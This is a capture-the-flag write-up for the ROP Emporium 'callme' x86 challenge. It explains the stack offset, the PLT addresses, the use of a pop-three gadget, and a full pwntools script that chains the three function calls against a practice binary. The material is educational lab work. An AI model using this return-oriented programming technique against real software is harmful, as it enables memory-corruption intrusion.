ROP Emporium callme Writeup (x86)
Introduction
ROP Emporium provides a series of challenges to learn and practice Return Oriented Programming (ROP). This is the third challenge of eight.
According to the challenge page our goal is to call the functions callme_one(), callme_two(), and callme_three() in that order with the arguments 0xdeadbeef, 0xcafebabe, and 0xd00df00d.
We should essentially be running
1
2
3
callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d);
callme_two(0xdeadbeef, 0xcafebabe, 0xd00df00d);
callme_three(0xdeadbeef, 0xcafebabe, 0xd00df00d);
This is what a hint will look like!
Exploit Crafting
The offset for x86 challenges will be 44 bytes. If you want to know how to get this value see the x86 ret2win writeup
Function Address
What are the plt addresses of the functions?
Using radare2 we can analyze a binary by running aaa. To list functions with their addresses we can run afl 
The function addresses we need are
1
2
3
callme_one: 0x080484f0
callme_two: 0x08048550
callme_three: 0x080484e0
Procedure Linkage Table
These addresses aren’t addresses of call instructions, but rather plt entries. These plt entries are used to lookup the address of a function located in an external library. You can tell when an address is a plt address by the sym.imp string in r2
If you want a deeper understanding of the plt (procedure linkage table) and the got (global offset table) you can check the How lazy binding works section in the ROP Emporium Beginners Guide as well as this fantastic blog post
Why are we using the plt entries for the functions rather than the calls in usefulFunction? When a call instruction is executed, it’ll execute the function while also placing the return address onto the stack! So once callme_one() is finished it will continue to execute instructions in usefulFunction
So after we finish callme_one(), the program will exit. This would could be okay for one function call but we want to chain a few together
Adding Arguments
Which instruction removes a value from the stack and moves the stack pointer?
x86 Calling Convention
In x86, we pass each argument onto the stack. There are other x86 calling conventions but passing arguments is all we need to know for our purposes
The previous challenge used a call instruction to invoke a function, but that won’t work if we want to chain multiple functions together. Using a call also has the hidden effect of automatically adding a return address to the stack!
Argument Debugging
Since we aren’t using call, we need to manually maintain the stack. A first attempt at constructing a ROP chain for this challenge might look something like this
But when we try to run this, callme_one’s first argument is incorrect! It points to the second arg (0xcafebabe) instead of the first (0xdeadbeef) 
If we try to add some junk data (0x66666666) between callme_one and 0xdeadbeef we get a return error
If we replace the junk data with the address of callme_two, the second function will get called but the stack will be a little wonky…
What essentially happened is once callme_one finished (with the proper arguments) the callme_one address was popped off the stack and our previous junk entry is now at the top of the stack. That address is called and we have the same stack argument offset issues as before!
Gadget
So how do we solve this? Here’s a great article which goes over some methods for chaining functions in a 32 bit environment.
We’re going to be taking advantage of the pop command. You should know by now that it takes a value off of the stack and places it into a specified register. What makes this really powerful is that it not only sets a register, it’ll update the stack pointer to remove the space reserved for this value! This will allow us to completely delete our function arguments off of the stack so the stack is properly set for our next function call
Since we have three arguments, we should find a gadget which pops three arguments into any register. In radare2 we can use the /R command
1
/R pop
If we set this gadget to run once callme ends, it’ll remove all of the arguments for that function and we’re free to call more arbitrary functions with arbitrary arguments! The stack should look like this in the final exploit
Exploit
Now we have everything we need to build the exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
# useful addresses
callme1_addr = 0x080484f0
callme2_addr = 0x08048550
callme3_addr = 0x080484e0
pop_3 = 0x080487f9
# adds function arguments onto the stack
def add_args(args):
# fixes stack after function returns
payload = p32(pop_3)
# adds args
for a in args:
payload += p32(a)
return payload
# required callme args in the proper order
args = [0xdeadbeef, 0xcafebabe, 0xd00df00d]
# construct payload
payload = b'A' * 44
# callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d)
payload += p32(callme1_addr)
payload += add_args(args)
payload += p32(callme2_addr)
payload += add_args(args)
payload += p32(callme3_addr)
payload += add_args(args)
# send payload + receive flag
io = process('./callme32')
io.send(payload)
io.recvuntil(b'callme_two() called correctly\n')
flag = io.recvline()
log.success(flag.decode('utf-8'))
Conclusion
This challenge takes things a step further than just calling an arbitrary function by introducting the ability to set arbitrary arguments for that function. This isn’t as simple as it seems as we also need to maintain the stack under x86 with a pop gadget!









